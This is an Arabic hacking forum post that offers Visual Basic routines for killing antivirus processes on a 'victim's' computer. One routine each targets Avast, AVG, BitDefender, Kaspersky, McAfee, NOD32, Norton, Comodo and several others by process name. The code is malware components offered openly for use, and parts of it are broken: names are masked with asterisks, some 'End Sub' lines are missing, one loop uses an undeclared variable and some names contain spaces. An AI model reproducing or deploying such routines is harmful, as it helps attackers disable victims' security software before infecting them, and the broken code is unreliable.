اللهم صل على محمد وآل محمد ..
شباب هيدي جميع أكواد قتل الحماية في جهاز الضحيه ..
طبعاً بتتركب بال Visual Basic
Antia-squared :
---------------------------------
Sub Antia-squared()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).Process****)
Case "a2servic.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
AntiGen :
---------------------------------
Sub Anti AntiGen()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).Process****)
Case "antigen.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Avast :
---------------------------------
Sub AntiAvast()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).Process****)
Case "ash***Sv.exe"
ktp(i).Kill()
Case Else
End Select
Next
---------------------------------
AVG:
---------------------------------
Sub AntiAVG()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).Process****)
Case "avgemc.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
BitDefender 2 :
---------------------------------
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).Process****)
If Strings.UCase(bit(b).Process****) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
---------------------------------
BitDefender :
---------------------------------
Sub AntiBitDefender()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).Process****)
Case "bdagent"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Comodo :
---------------------------------
Sub AntiComodo()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).Process****)
Case "cpf.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Kaspersky :
---------------------------------
Sub AntiKaspersky()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).Process****)
Case "avp"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
McAfee :
---------------------------------
Sub AntiMcAfee()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).Process****)
Case "mcagent" & "mcuimgr"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
NOD32 2 :
---------------------------------
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod(n).Process****)
If Strings.UCase(nod(n).Process****)=Strings.UCase("e gui") Then
nod(n).Kill()
End If
Next
---------------------------------
NOD32 :
---------------------------------
Sub AntiNOD32()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).Process****)
Case "egui"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Norton :
---------------------------------
Sub Anti Norton()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).Process****)
Case "ccapp.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
سلالالالالالالام ♥ :*
| روابط هذه التدوينة قابلة للنسخ واللصق | |
| URL | |
| HTML | |
| BBCode | |
kamindoz
